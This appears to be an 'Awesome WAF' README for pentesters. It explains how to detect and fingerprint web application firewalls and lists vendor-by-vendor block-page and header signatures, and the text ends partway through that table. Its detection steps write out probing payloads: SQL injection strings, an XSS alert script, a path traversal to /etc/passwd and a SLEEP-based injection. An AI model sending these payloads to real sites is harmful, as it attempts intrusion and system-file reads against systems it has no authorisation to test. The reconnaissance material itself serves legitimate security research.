Home

Awesome

Awesome WAF Awesome

Everything about web application firewalls (WAFs) from a security perspective. 🔥

Foreword: This was originally my own collection on WAFs. I am open-sourcing it in the hope that it will be useful for pentesters and researchers out there.As the saying goes, "the community just learns from each other."

Main Logo

A Concise Definition: A firewall is a security policy enforcement point positioned between a web application and the client endpoint. This functionality can be implemented in software or hardware, running in an appliance device, or in a typical server running a common operating system. It may be a stand-alone device or integrated into other network components. (Source: PCI DSS IS 6.6)

A web-application firewall sits between a user and a webapp and is tasked to prevent any malicious activity from reaching the webapp. A WAF either filters out the malicious part of the request or just simply blocks it.

Feel free to contribute.

Contents:

Introduction:

How WAFs Work:

Operation Modes:

Testing Methodology:

Where To Look:

Detection Techniques:

To identify WAFs, we need to (dummy) provoke it.

  1. Make a normal GET request from a browser, intercept and record response headers (specifically cookies).
  2. Make a request from command line (eg. cURL), and test response content and headers (no user-agent included).
  3. Make GET requests to random open ports and grab banners which might expose the WAFs identity.
  4. On login pages, inject common (easily detectable) payloads like " or 1 = 1 --.
  5. Inject noisy payloads like <script>alert()</script> into search bars, contact forms and other input fields.
  6. Attach a dummy ../../../etc/passwd to a random parameter at end of URL.
  7. Append some catchy keywords like ' OR SLEEP(5) OR ' at end of URLs to any random parameter.
  8. Make GET requests with outdated protocols like HTTP/0.9 (HTTP/0.9 does not support POST type queries).
  9. Many a times, the WAF varies the Server header upon different types of interactions.
  10. Drop Action Technique - Send a raw crafted FIN/RST packet to server and identify response.

    Tip: This method could be easily achieved with tools like HPing3 or Scapy.

  11. Side Channel Attacks - Examine the timing behaviour of the request and response content.

    Tip: More details can be found in a blogpost here.

WAF Fingerprints

Wanna fingerprint WAFs? Lets see how.

NOTE: This section contains manual WAF detection techniques. You might want to switch over to next section.

<table> <tr> <td align="center"><b>WAF</b></td> <td align="center"><b>Fingerprints</b></td> </tr> <tr> <td> 360 </td> <td> <ul> <li><b>Detectability:</b> Easy </li> <li><b>Detection Methodology:</b></li> <ul> <li>Returns status code <code>493</code> upon unusual requests.</li> <li>Blockpage may contain reference to <code>wzws-waf-cgi/</code> directory.</li> <li>Blocked response page source may contain: <ul> <li>Reference to <code>wangshan.360.cn</code> URL.</li> <li><code>Sorry! Your access has been intercepted because your links may threaten website security.</code> text snippet.</li> </ul> <li>Response headers may contain <code>X-Powered-By-360WZB</code> header.</li> <li>Blocked response headers contain unique header <code>WZWS-Ray</code>.</li> <li><code>Server</code> header may contain value <code>qianxin-waf</code>.</li> </ul> </ul> </td> </tr> <tr> <td> aeSecure </td> <td> <ul> <li><b>Detectability: </b>Moderate</li> <li><b>Detection Methodology:</b></li> <ul> <li>Blocked response content contains <code>aesecure_denied.png</code> image (view source to see).</li> <li>Response headers contain <code>aeSecure-code</code> value.</li> </ul> </ul> </td> </tr> <tr> <td> Airlock </td> <td> <ul> <li><b>Detectability: </b>Moderate/Difficult</li> <li><b>Detection Methodology:</b></li> <ul> <li><code>Set-Cookie</code> headers may contain:</li> <ul> <li><code>AL-SESS</code> cookie field name (case insensitive).</li> <li><code>AL-LB</code> value (case insensitive).</li> </ul> <li>Blocked response page contains:</li> <ul> <li><code>Server detected a syntax error in your request</code> text.</li> <li><code>Check your request and all parameters</code> text snippet.</li> </ul> </ul> </ul> </td> </tr> <tr> <td> AlertLogic </td> <td> <ul> <li><b>Detectability:</b> Difficult</li> <li><b>Detection Methodology:</b></li> <ul> <li>Blocked response page contains:</li> <ul> <li><code>We are sorry, but the page you are looking for cannot be found</code> text snippet.</li> <li><code>The page has either been removed, renamed or temporarily unavailable</code> text.</li> <li><code>404 Not Found</code> in red letters.</li> </ul> </ul> </ul> </td> </tr> <tr> <td> Aliyundun </td> <td> <ul> <li><b>Detectability:</b> Easy</li> <li><b>Detection Methodology:</b></li> <ul> <li>Blocked response page contains:</li> <ul> <li><code>Sorry, your request has been blocked as it may cause potential threats to the server's security</code> text snippet.</li> <li>Reference to <code>errors.aliyun.com</code> site URL.</li> </ul> <li>Blocked response code returned is <code>405</code>.</li> </ul> </ul> </td> </tr> <tr> <td> Anquanbao </td> <td> <ul> <li><b>Detectability: </b>Easy</li> <li><b>Detection Methodology:</b></li> <ul> <li>Returns blocked HTTP response code <code>405</code> upon malicious requests.</li> <li>Blocked response content may contain <code>/aqb_cc/error/</code> or <code>hidden_intercept_time</code>.</li> <li>Response headers contain <code>X-Powered-by-Anquanbao</code> header field.</li> </ul> </ul> </td> </tr> <tr> <td> Anyu </td> <td> <ul> <li><b>Detectability: </b>Easy</li> <li><b>Detection Methodology:</b></li> <ul> <li>Blocked response content contains <code>Sorry! your access has been intercepted by AnYu</code></li> <li>Blocked response page contains <code>AnYu- the green channel</code> text.</li> <li>Response headers may contain unusual header <code>WZWS-RAY</code>.</li> </ul> </ul> </td> </tr> <tr> <td> Approach </td> <td> <ul> <li><b>Detectability: </b>Easy</li> <li><b>Detection Methodology:</b></li> <ul> <li>Blocked response page content may contain:</li> <ul> <li><code>Approach Web Application Firewall Framework</code> heading.</li> <li><code>Your IP address has been logged and this information could be used by authorities to track you.</code> warning.</li> <li><code>Sorry for the inconvenience!</code> keyword.</li> <li><code>Approach infrastructure team</code> text snippet.</li> </ul> <li><code>Server</code> header has field value set to <code>Approach</code>.</li> </ul> </ul> </td> </tr> <tr> <td> Armor Defense </td> <td> <ul> <li><b>Detectability: </b>Easy</li> <li><b>Detection Methodology:</b></li> <ul> <li>Blocked response content contains: <ul> <li><code>This request has been blocked by website protection from Armor</code> text.</li> <li><code>If you manage this domain please create an Armor support ticket</code> snippet.</li> </ul> </li> </ul> </ul> </td> </tr> <tr> <td> ArvanCloud </td> <td> <ul> <li><b>Detectability: </b>Easy</li> <li><b>Detection Methodology:</b></li> <ul> <li><code>Server</code> header contains <code>ArvanCloud</code> keyword.</li> </ul> </ul> </td> </tr> <tr> <td> ASPA </td> <td> <ul> <li><b>Detectability: </b>Easy</li> <li><b>Detection Methodology:</b></li> <ul> <li><code>Server</code> header contains <code>ASPA-WAF</code> keyword.</li> <li>Response contain unique header <code>ASPA-Cache-Status</code> with content <code>HIT</code> or <code>MISS</code>.</li> </ul> </ul> </td> </tr> <tr> <td> ASP.NET Generic </td> <td> <ul> <li><b>Detectability: </b>Moderate</li> <li><b>Detection Methodology:</b></li> <ul> <li>Response headers may contain <code>X-ASPNET-Version</code> header value.</li> <li>Blocked response page content may contain:</li> <ul> <li><code>This generic 403 error means that the authenticated user is not authorized to use the requested resource</code>.</li> <li><code>Error Code 0x00000000<</code> keyword.</li> </ul> <li><code>X-Powered-By</code> header has field value set to <code>ASP.NET</code>.</li> </ul> </ul> </td> </tr> <tr> <td> Astra </td> <td> <ul> <li><b>Detectability: </b>Easy</li> <li><b>Detection Methodology:</b></li> <ul> <li>Blocked response page content may contain:</li> <ul> <li><code>Sorry, this is not allowed.</code> in <code>h1</code>.</li> <li><code>our website protection system has detected an issue with your IP address and wont let you proceed any further</code> text snippet.</li> <li>Reference to <code>www.getastra.com/assets/images/</code> URL.</li> </ul> <li>Response cookies has field value <code>cz_astra_csrf_cookie</code> in response headers.</li> </ul> </ul> </td> </tr> <tr> <td> AWS ELB </td> <td> <ul> <li><b>Detectability: </b>Moderate</li> <li><b>Detection Methodology:</b></li> <ul> <li>Response headers might contain: <ul> <li><code>AWSALB</code> cookie field value.</li> <li><code>X-AMZ-ID</code> header.</li> <li><code>X-AMZ-REQUEST-ID</code> header.</li> </ul> </li> <li>Response page may contain: <ul> <li><code>Access Denied</code> in their keyword.</li> <li>Request token ID with length from 20 to 25 between <code>RequestId</code> tag.</li> </ul> </li> <li><code>Server</code> header field contains <code>awselb/2.0</code> value.</li> </ul> </ul> </td> </tr> <tr> <td> Baidu Yunjiasu </td> <td> <ul> <li><b>Detectability: </b>Moderate</li> <li><b>Detection Methodology:</b></li> <ul> <li><code>Server</code> header may contain <code>Yunjiasu-nginx</code> value.</li> <li><code>Server</code> header may contain <code>Yunjiasu</code> value. </ul> </ul> </td> </tr> <tr> <td> Barikode </td> <td> <ul> <li><b>Detectability: </b>Easy</li> <li><b>Detection Methodology:</b></li> <ul> <li>Blocked response page content contains: <ul> <li><code>BARIKODE</code> keyword.</li> <li><code>Forbidden Access</code> text snippet in <code>h1</code>.</li> </ul> </li> </ul> </ul> </td> </tr> <tr> <td> Barracuda </td> <td> <ul> <li><b>Detectability: </b>Moderate</li> <li><b>Detection Methodology:</b></li> <ul> <li>Response cookies may contain <code>barra_counter_session</code> value.</li> <li>Response headers may contain <code>barracuda_</code> keyword.</li> </ul> <li>Response page contains:</li> <ul> <li><code>You have been blocked</code> heading.</li> <li><code>You are unable to access this website</code> text.</li> </ul> </ul> </td> </tr> <tr> <td> Bekchy </td> <td> <ul> <li><b>Detectability: </b>Easy</li> <li><b>Detection Methodology:</b></li> <ul> <li>Blocked response headers contains <code>Bekchy - Access Denied</code>.</li> <li>Blocked response page contains reference to <code>https://bekchy.com/report</code>.</li> </ul> </ul> </td> </tr> <tr> <td> BinarySec </td> <td> <ul> <li><b>Detectability: </b>Moderate</li> <li><b>Detection Methodology:</b></li> <ul> <li>Response headers contain:</li> <ul> <li><code>X-BinarySec-Via</code> field.</li> <li><code>X-BinarySec-NoCache</code> field.</li> <li><code>Server</code> header contains <code>BinarySec</code> keyword.</li> </ul> </ul> </ul> </td> </tr> <tr> <td> BitNinja </td> <td> <ul> <li><b>Detectability: </b>Easy</li> <li><b>Detection Methodology:</b></li> <ul> <li>Blocked response page may contain:</li> <ul> <li><code>Security check by BitNinja</code> text snippet.</li> <li><code>your IP will be removed from BitNinja</code>.</li> <li><code>Visitor anti-robot validation</code> text snippet.</li> <li><code>(You will be challenged by a reCAPTCHA page)</code> text.</li> </ul> </ul> </ul> </td> </tr> <tr> <td> BIG-IP ASM </td> <td> <ul> <li><b>Detectability: </b>Moderate</li> <li><b>Detection Methodology:</b></li> <ul> <li>Response headers may contain <code>BigIP</code> or <code>F5</code> keyword value.</li> <li>Response header fields may contain <code>X-WA-Info</code> header.</li> <li>Response headers might have jumbled <code>X-Cnection</code> field value.</li> </ul> </ul> </td> </tr> <tr> <td> BlockDos </td> <td> <ul> <li><b>Detectability: </b>Moderate</li> <li><b>Detection Methodology:</b></li> <ul> <li><code>Server</code> header contains value <code>BlockDos.net</code>.</li> </ul> </ul> </td> </tr> <tr> <td> Bluedon IST </td> <td> <ul> <li><b>Detectability: </b>Easy</li> <li><b>Detection Methodology:</b></li> <ul> <li><code>Server</code> header contains <code>BDWAF</code> field value.</li> <li>Blocked response page contains to <code>Bluedon Web Application Firewall</code> text snippet..</li> </ul> </ul> </td> </tr> <tr> <td> BulletProof Security Pro </td> <td> <ul> <li><b>Detectability: </b>Moderate</li> <li><b>Detection Methodology:</b></li> <ul> <li>Blocked response page contains: <ul> <li><code>div</code> with id as <code>bpsMessage</code> text snippet.</li> <li><code>If you arrived here due to a search or clicking on a link click your Browser's back button to return to the previous page.</code> text snippet.</li> </ul> </ul> </ul> </td> </tr> <tr> <td> CDN NS Application Gateway </td> <td> <ul> <li><b>Detectability: </b>Easy</li> <li><b>Detection Methodology:</b></li> <ul> <li>Blocked response page contains <code>CdnNsWAF Application Gateway</code> text snippet.</li> </ul> </ul> </td> </tr> <tr> <td> Cerber (WordPress) </td> <td> <ul> <li><b>Detectability: </b>Difficult</li> <li><b>Detection Methodology:</b></li> <ul> <li>Blocked response page contains: <ul> <li><code>We're sorry, you are not allowed to proceed</code> text snippet.</li> <li><code>Your request looks suspicious or similar to automated requests from spam posting software</code> warning.</li> </ul> </ul> </ul> </td> </tr> <tr> <td> Chaitin Safeline </td> <td> <ul> <li><b>Detectability: </b>Difficult</li> <li><b>Detection Methodology:</b></li> <ul> <li>Blocked response page contains <code>event_id</code> keyword within HTML comments.</li> </ul> </ul> </td> </tr> <tr> <td> ChinaCache </td> <td> <ul> <li><b>Detectability: </b>Easy</li> <li><b>Detection Methodology:</b></li> <ul> <li>Response headers contain <code>Powered-by-ChinaCache</code> field.</li> </ul> </ul> </td> </tr> <tr> <td> Cisco ACE XML Gateway </td> <td> <ul> <li><b>Detectability: </b>Moderate</li> <li><b>Detection Methodology:</b></li> <ul> <li><code>Server</code> header has value <code>ACE XML Gateway</code> set.</li> </ul> </ul> </td> </tr> <tr> <td> Cloudbric </td> <td> <ul> <li><b>Detectability: </b>Moderate</li> <li><b>Detection Methodology:</b></li> <ul> <li>Response content contains:</li> <ul> <li><code>Malicious Code Detected</code> heading.</li> <li><code>Your request was blocked by Cloudbric</code> text snippet.</li> <li>Reference to <code>https://cloudbric.zendesk.com</code> URL. <li><code>Cloudbric Help Center</code> text.</li> <li>Page title starting with <code>Cloudbric | ERROR!</code>.</li> </ul> </ul> </ul> </td> </tr> <tr> <td> Cloudflare </td> <td> <ul> <li><b>Detectability: </b>Easy</li> <li><b>Detection Methodology:</b></li> <ul> <li>Response headers might have <code>cf-ray</code> field value.</li> <li><code>Server</code> header field has value <code>cloudflare</code>.</li> <li><code>Set-Cookie</code> response headers have <code>__cfuid=</code> cookie field.</li> <li>Page content might have <code>Attention Required!</code> or <code>Cloudflare Ray ID:</code>.</li> <li>Page content may contain <code>DDoS protection by Cloudflare</code>as text.</li> <li>You may encounter <code>CLOUDFLARE_ERROR_500S_BOX</code> upon hitting invalid URLs.</li> </ul> </ul> </td> </tr> <tr> <td> CloudfloorDNS </td> <td> <ul> <li><b>Detectability: </b>Easy</li> <li><b>Detection Methodology:</b></li> <ul> <li><code>Server</code> header field has value <code>CloudfloorDNS WAF</code>.</li> <li>Block-page title might have <code>CloudfloorDNS - Web Application Firewall Error</code>.</li> <li>Page content may contain <code>www.cloudfloordns.com/contact</code> URL as a contact link.</li> </ul> </ul> </td> </tr> <tr> <td> Cloudfront </td> <td> <ul> <li><b>Detectability: </b>Easy</li> <li><b>Detection Methodology:</b></li> <ul> <li>Blocked response content contains <code>Generated by cloudfront (CloudFront)</code> error upon malicious request.</li> </ul> </ul> </td> </tr> <tr> <td> Comodo cWatch </td> <td> <ul> <li><b>Detectability: </b>Easy</li> <li><b>Detection Methodology:</b></li> <ul> <li><code>Server</code> header contains <code>Protected by COMODO WAF</code> value.</li> </ul> </ul> </td> </tr> <tr> <td> CrawlProtect </td> <td> <ul> <li><b>Detectability: </b>Easy</li> <li><b>Detection Methodology:</b></li> <ul> <li>Response cookies might contain <code>crawlprotect</code> cookie name.</li> <li>Block Page title has <code>CrawlProtect</code> keyword in it.</li> <li>Blocked response content contains value<br> <code>This site is protected by CrawlProtect !!!</code> upon malicious request.</li> </ul> </ul> </td> </tr> <tr> <td> Deny-All </td> <td> <ul> <li><b>Detectability: </b>Difficult</li> <li><b>Detection Methodology:</b></li> <ul> <li>Response content contains value <code>Condition Intercepted</code>.</li> <li><code>Set-Cookie</code> header contains cookie field <code>sessioncookie</code>.</li> </ul> </ul> </td> </tr> <tr> <td> Distil Web Protection </td> <td> <ul> <li><b>Detectability: </b>Easy</li> <li><b>Detection Methodology:</b></li> <ul> <li>Response headers contain field value <code>X-Distil-CS</code> in all requests.</li> <li>Blocked response page contains:</li> <ul> <li><code>Pardon Our Interruption...</code> heading.</li> <li><code>You have disabled javascript in your browser.</code> text snippet.</li> <li><code>Something about your browser made us think that you are a bot.</code> text.</li> </ul> </ul> </ul> </td> </tr> <tr> <td> DoSArrest Internet Security </td> <td> <ul> <li><b>Detectability: </b>Easy</li> <li><b>Detection Methodology:</b></li> <ul> <li>Response headers contain field value <code>X-DIS-Request-ID</code>.</li> <li><code>Server</code> header contains <code>DOSarrest</code> keyword.</li> </ul> </ul> </td> </tr> <tr> <td> DotDefender </td> <td> <ul> <li><b>Detectability: </b>Easy</li> <li><b>Detection Methodology:</b></li> <ul> <li>Blocked response content contains value<br> <code>dotDefender Blocked Your Request</code>.</li> <li>Blocked response headers contain <code>X-dotDefender-denied</code> field value.</li> </ul> </ul> </td> </tr> <tr> <td> DynamicWeb Injection Check </td> <td> <ul> <li><b>Detectability: </b>Easy</li> <li><b>Detection Methodology:</b></li> <ul> <li>Blocked response headers contain <code>X-403-Status-By</code> field with value <code>dw-inj-check</code> value.</li> </ul> </ul> </td> </tr> <tr> <td> e3Learning Security </td> <td> <ul> <li><b>Detectability: </b>Easy</li> <li><b>Detection Methodology:</b></li> <ul> <li><code>Server</code> header contains <code>e3Learning_WAF</code> keyword.</li> </ul> </ul> </td> </tr> <tr> <td> EdgeCast (Verizon) </td> <td> <ul> <li><b>Detectability: </b>Easy</li> <li><b>Detection Methodology:</b></li> <ul> <li>Blocked response content contains value<br> <code>Please contact the site administrator, and provide the following Reference ID:EdgeCast Web Application Firewall (Verizon)</code>.</li> <li>Blocked response code returns <code>400 Bad Request</code> on malicious requests.</li> </ul> </ul> </td> </tr> <tr> <td> Eisoo Cloud </td> <td> <ul> <li><b>Detectability: </b>Easy</li> <li><b>Detection Methodology:</b></li> <ul> <li>Blocked response page content may contain:</li> <ul> <li><code>/eisoo-firewall-block.css</code> reference.</li> <li><code>www.eisoo.com</code> URL.</li> <li><code>&copy; (year) Eisoo Inc.</code> keyword.</li> </ul> <li><code>Server</code> header has field value set to <code>EisooWAF-AZURE/EisooWAF</code>.</li> </ul> </ul> </td> </tr> <tr> <td> Expression Engine </td> <td> <ul> <li><b>Detectability: </b>Difficult</li> <li><b>Detection Methodology:</b></li> <ul> <li>Blocked response page returns <code>Invalid URI</code> generally.</li> <li>Blocked response content contains value <code>Invalid GET Request</code> upon malicious GET queries.</li> <li>Blocked POST type queries contain <code>Invalid Data</code> in response content.</li> </ul> </ul> </td> </tr> <tr> <td> F5 ASM </td> <td> <ul> <li><b>Detectability: </b>Difficult</li> <li><b>Detection Methodology:</b></li> <ul> <li>Blocked response content contains warning<br> <code>The requested URL was rejected. Please consult with your administrator.</code> </li> </ul> </ul> </td> </tr> <tr> <td> FortiWeb </td> <td> <ul> <li><b>Detectability: </b>Moderate</li> <li><b>Detection Methodology:</b></li> <ul> <li>Response headers contain <code>FORTIWAFSID=</code> on malicious requests.</li> <li>Blocked response page contains:</li> <ul> <li>Reference to <code>.fgd_icon</code> image icon.</li> <li><code>Server Unavailable!</code> as heading.</li> <li><code>Server unavailable. Please visit later.</code> as text.</li> </ul> </ul> </ul> </td> </tr> <tr> <td> GoDaddy </td> <td> <ul> <li><b>Detectability: </b>Easy</li> <li><b>Detection Methodology:</b></li> <ul> <li>Blocked response page contains value<br> <code>Access Denied - GoDaddy Website Firewall</code>.</li> </ul> </ul> </td> </tr> <tr> <td> GreyWizard </td> <td> <ul> <li><b>Detectability: </b>Easy</li> <li><b>Detection Methodology:</b></li> <ul> <li>Blocked response page contains: <ul> <li><code>Grey Wizard</code> as title.</li> <li><code>Contact the website owner or Grey Wizard</code> text snippet.</li> <li><code>We've detected attempted attack or non standard traffic from your IP address</code> text snippet.</li> </ul> </li> <li><code>Server</code> header contain <code>greywizard</code> keyword.</li> </ul> </ul> </td> </tr> <tr> <td> Huawei Cloud </td> <td> <ul> <li><b>Detectability: </b>Easy</li> <li><b>Detection Methodology:</b></li> <ul> <li>Blocked response page contains:</li> <ul> <li>Reference to <code>account.hwclouds.com/static/error/images/404img.jpg</code> error image.</li> <li>Reference to <code>www.hwclouds.com</code> URL.</li> <li>Reference to <code>hws_security@{site.tld}</code> e-mail for reporting.</li> </ul> </ul> </ul> </td> </tr> <tr> <td> HyperGuard </td> <td> <ul> <li><b>Detectability: </b>Difficult</li> <li><b>Detection Methodology:</b></li> <ul> <li><code>Set-Cookie</code> header has cookie field <code>ODSESSION=</code> in response headers.</li> </ul> </ul> </td> </tr> <tr> <td> IBM DataPower </td> <td> <ul> <li><b>Detectability: </b>Difficult</li> <li><b>Detection Methodology:</b></li> <ul> <li>Response headers contains field value value <code>X-Backside-Transport</code> with value <code>OK</code> or <code>FAIL</code>.</li> </ul> </ul> </td> </tr> <tr> <td> Imperva Incapsula </td> <td> <ul> <li><b>Detectability: </b>Easy</li> <li><b>Detection Methodology:</b></li> <ul> <li>Blocked response page content may contain:</li> <ul> <li><code>Powered By Incapsula</code> text snippet.</li> <li><code>Incapsula incident ID</code> keyword.</li> <li><code>_Incapsula_Resource</code> keyword.</li> <li><code>subject=WAF Block Page</code> keyword.</li> </ul> <li>Normal GET request headers contain <code>visid_incap</code> value.</li> <li>Response headers may contain <code>X-Iinfo</code> header field name.</li> <li><code>Set-Cookie</code> header has cookie field <code>incap_ses</code> and <code>visid_incap</code>.</li> </ul> </ul> </td> </tr> <tr> <td> Imunify360 </td> <td> <ul> <li><b>Detectability: </b>Easy</li> <li><b>Detection Methodology:</b></li> <ul> <li><code>Server</code> header contain <code>imunify360-webshield</code> keyword.</li> <li>Response page contains:</li> <ul> <li><code>Powered by Imunify360</code> text snippet.</li> <li><code>imunify360 preloader</code> if response type is JSON.</li> </ul> <li>Blocked response page contains <code>protected by Imunify360</code> text.</li> </ul> </ul> </td> </tr> <tr> <td> IndusGuard </td> <td> <ul> <li><b>Detectability: </b>Moderate</li> <li><b>Detection Methodology:</b></li> <ul> <li><code>Server</code> header contains value <code>IF_WAF</code>.</li> <li>Blocked response content contains warning<br><code>further investigation and remediation with a screenshot of this page.</code></li> <li>Response headers contain a unique header <code>X-Version</code>.</li> </ul> </ul> </td> </tr> <tr> <td> Instart DX </td> <td> <ul> <li><b>Detectability: </b>Easy</li> <li><b>Detection Methodology:</b></li> <ul> <li>Response headers contain <code>X-Instart-Request-ID</code> unique header.</li> <li>Response headers contain <code>X-Instart-WL</code> unique header fingerprint.</li> <li>Response headers contain <code>X-Instart-Cache</code> unique header fingerprint.</li> <li>Blocked response page contains <code>The requested URL was rejected. Please consult with your administrator.</code> text.</li> </ul> </ul> </td> </tr> <tr> <td> ISA Server </td> <td> <ul> <li><b>Detectability: </b>Difficult</li> <li><b>Detection Methodology:</b></li> <ul> <li>Response page contains:</li> <ul> <li><code>The ISA Server denied the specified Uniform Resource Locator (URL)</code> text snippet.</li> <li><code>The server denied the specified Uniform Resource Locator (URL). Contact the server administrator.</code> text snippet</li> </ul> </ul> </ul> </td> </tr> <tr> <td> Janusec Application Gateway </td> <td> <ul> <li><b>Detectability: </b>Easy</li> <li><b>Detection Methodology:</b></li> <ul> <li>Blocked response page has image displaying <code>JANUSEC</code> name and logo.</li> <li>Blocked response page displays <code>Janusec Application Gateway</code> on malicious requests.</li> </ul> </ul> </td> </tr> <tr> <td> Jiasule </td> <td> <ul> <li><b>Detectability: </b>Easy</li> <li><b>Detection Methodology:</b></li> <ul> <li>Blocked response page contains reference to <code>static.jiasule.com/static/js/http_error.js</code> URL.</li> <li><code>Set-Cookie</code> header has cookie field <code>__jsluid=</code> or <code>jsl_tracking</code>in response headers.</li> <li><code>Server</code> header has <code>jiasule-WAF</code> keywords.</li> <li>Blocked response content has <code>notice-jiasule</code> keyword.</li> </ul> </ul> </td> </tr> <tr> <td> KeyCDN </td> <td> <ul> <li><b>Detectability: </b>Easy</li> <li><b>Detection Methodology:</b></li> <ul> <li><code>Server</code> header contains <code>KeyCDN</code> keyword.</li> </ul> </ul> </td> </tr> <tr> <td> KnownSec </td> <td> <ul> <li><b>Detectability: </b>Easy</li> <li><b>Detection Methodology:</b></li> <ul> <li>Blocked response page displays <code>ks-waf-error.png</code> image (view source to see).</li> </ul> </ul> </td> </tr> <tr> <td> KONA Site Defender (Akamai) </td> <td> <ul> <li><b>Detectability: </b>Easy</li> <li><b>Detection Methodology:</b></li> <ul> <li><code>Server</code> header contains <code>AkamaiGHost</code> keyword.</li> </ul> </ul> </td> </tr> <tr> <td> LiteSpeed </td> <td> <ul> <li><b>Detectability: </b>Easy</li> <li><b>Detection Methodology:</b></li> <ul> <li><code>Server</code> header has value set to <code>LiteSpeed</code>.</li> <li><code>Response page contains:</code></li> <ul> <li><code>Proudly powered by LiteSpeed Web Server</code> text.</li> <li>Reference to <code>http://www.litespeedtech.com/error-page</code></li> <li><code>Access to resource on this server is denied.</code></li> </ul> </ul> </ul> </td> </tr> <tr> <td> Malcare </td> <td> <ul> <li><b>Detectability: </b>Moderate</li> <li><b>Detection Methodology:</b></li> <ul> <li>Blocked response page may contains: <ul> <li><code>Blocked because of Malicious Activities</code> text snippet.</li> <li><code>Firewall powered by MalCare</code> text snippet.</li> </ul> </li> </ul> </ul> </td> </tr> <tr> <td> MissionControl Application Shield </td> <td> <ul> <li><b>Detectability: </b>Easy</li> <li><b>Detection Methodology:</b></li> <ul> <li><code>Server</code> header field contains <code>Mission Control Application Shield</code> value.</li> </ul> </ul> </td> </tr> <tr> <td> ModSecurity </td> <td> <ul> <li><b>Detectability: </b>Moderate/Difficult</li> <li><b>Detection Methodology:</b></li> <ul> <li>Blocked response page contains:</li> <ul> <li><code>This error was generated by Mod_Security</code> text snippet.</li> <li><code>One or more things in your request were suspicious</code> text snippet.</li> <li><code>rules of the mod_security module</code> text snippet.</li> <li><code>mod_security rules triggered</code> text snippet.</li> <li>Reference to <code>/modsecurity-errorpage/</code> directory.</li> </ul> <li><code>Server</code> header may contain <code>Mod_Security</code> or <code>NYOB</code> keywords.</li> <li>Sometimes, the response code to an attack is <code>403</code> while the response phrase is <code>ModSecurity Action</code>. </ul> </ul> </td> </tr> <tr> <td> ModSecurity CRS </td> <td> <ul> <li><b>Detectability: </b>Difficult</li> <li><b>Detection Methodology:</b></li> <ul> <li>Blockpage occurs on adding a separate request header <code>X-Scanner</code> when set to a particular paranoa level.</li> </ul> </ul> </td> </tr> <tr> <td> NAXSI </td> <td> <ul> <li><b>Detectability: </b>Easy</li> <li><b>Detection Methodology:</b></li> <ul> <li>Blocked response page contains <code>This Request Has Been Blocked By NAXSI</code>.</li> <li>Response headers contain unusual field <code>X-Data-Origin</code> with value <code>naxsi/waf</code> keyword.</li> <li><code>Server</code> header contains <code>naxsi/waf</code> keyword value.</li> <li>Blocked response page may contain <code>NAXSI blocked information</code> error code.</li> </ul> </ul> </td> </tr> <tr> <td> Nemesida </td> <td> <ul> <li><b>Detectability: </b>Difficult</li> <li><b>Detection Methodology:</b></li> <ul> <li>Blocked response page contains <code>Suspicious activity detected. Access to the site is blocked.</code>.</li> <li>Contains reference to email <code>nwaf@{site.tld}</code></li> </ul> </ul> </td> </tr> <tr> <td> Netcontinuum </td> <td> <ul> <li><b>Detectability: </b>Moderate</li> <li><b>Detection Methodology:</b></li> <ul> <li>Session cookies contain <code>NCI__SessionId=</code> cookie field name.</li> </ul> </ul> </td> </tr> <tr> <td> NetScaler AppFirewall </td> <td> <ul> <li><b>Detectability: </b>Moderate</li> <li><b>Detection Methodology:</b></li> <ul> <li>Response headers may contain</li> <ul> <li><code>Connection:</code> header field name jumbled to <code>nnCoection:</code></li> <li><code>ns_af=</code> cookie field name.</li> <li><code>citrix_ns_id</code> field name.</li> <li><code>NSC_</code> keyword.</li> <li><code>NS-CACHE</code> field value.</li> </ul> </ul> </ul> </td> </tr> <tr> <td> NevisProxy </td> <td> <ul> <li><b>Detectability: </b>Moderate</li> <li><b>Detection Methodology:</b></li> <ul> <li>Response header cookies contain <code>Navajo</code> keyword.</li> </ul> </ul> </td> </tr> <tr> <td> NewDefend </td> <td> <ul> <li><b>Detectability: </b>Easy</li> <li><b>Detection Methodology:</b></li> <ul> <li>Response page contains:</li> <ul> <li>Reference to <code>http://www.newdefend.com/feedback/misinformation/</code> URL.</li> <li>Reference to <code>/nd_block/</code> directory.</li> </ul> <li><code>Server</code> header contains <code>NewDefend</code> keyword.</li> </ul> </ul> </td> </tr> <tr> <td> Nexusguard </td> <td> <ul> <li><b>Detectability: </b>Easy</li> <li><b>Detection Methodology:</b></li> <ul> <li>Blocked response page has reference to <code>speresources.nexusguard.com/wafpage/index.html</code> URL.</li> </ul> </ul> </td> </tr> <tr> <td> NinjaFirewall </td> <td> <ul> <li><b>Detectability: </b>Moderate</li> <li><b>Detection Methodology:</b></li> <ul> <li>Response page title contains <code>NinjaFirewall: 403 Forbidden</code>.</li> <li>Response page contains: <ul> <li><code>For security reasons, it was blocked and logged</code> text snippet.</li> <li><code>NinjaFirewall</code> keyword in title.</li> </ul> </li> <li>Returns a <code>403 Forbidden</code> response upon malicious requests.</li> </ul> </ul> </td> </tr> <tr> <td> NSFocus </td> <td> <ul> <li><b>Detectability: </b>Easy</li> <li><b>Detection Methodology:</b></li> <ul> <li><code>Server</code> header contain <code>NSFocus</code> keyword.</li> </ul> </ul> </td> </tr> <tr> <td> NullDDoS </td> <td> <ul> <li><b>Detectability: </b>Easy</li> <li><b>Detection Methodology:</b></li> <ul> <li><code>Server</code> header contains the <code>NullDDoS System</code> keyword.</li> </ul> </ul> </td> </tr> <tr> <td> onMessage Shield </td> <td> <ul> <li><b>Detectability: </b>Easy</li> <li><b>Detection Methodology:</b></li> <ul> <li>Response headers contain header <code>X-Engine</code> field with value <code>onMessage Shield</code>.</li> <li>Blocked response page contains:</li> <ul> <li><code>Blackbaud K-12 conducts routine maintenance</code> keyword.</li> <li><code>This site is protected by an enhanced security system</code>.</li> <li>Reference to <code>https://status.blackbaud.com</code> URL.</li> <li>Reference to <code>https://maintenance.blackbaud.com</code> URL.</li> </ul> </ul> </ul> </td> </tr> <tr> <td> OpenResty Lua WAF </td> <td> <ul> <li><b>Detectability: </b>Easy</li> <li><b>Detection Methodology:</b></li> <ul> <li><code>Server</code> header contains <code>openresty/{version}</code> keyword.</li> <li>Blocked response page contains <code>openresty/{version}</code> text.</li> <li>Blocked response code returned is <code>406 Not Acceptable</code>.</li> </ul> </ul> </td> </tr> <tr> <td> Palo Alto </td> <td> <ul> <li><b>Detectability: </b>Moderate</li> <li><b>Detection Methodology:</b></li> <ul> <li>Blocked response page contains <code>Virus/Spyware Download Blocked</code>.</li> <li>Response page might contain <code>Palo Alto Next Generation Security Platform</code> text snippet.</li> </ul> </ul> </td> </tr> <tr> <td> PentaWAF 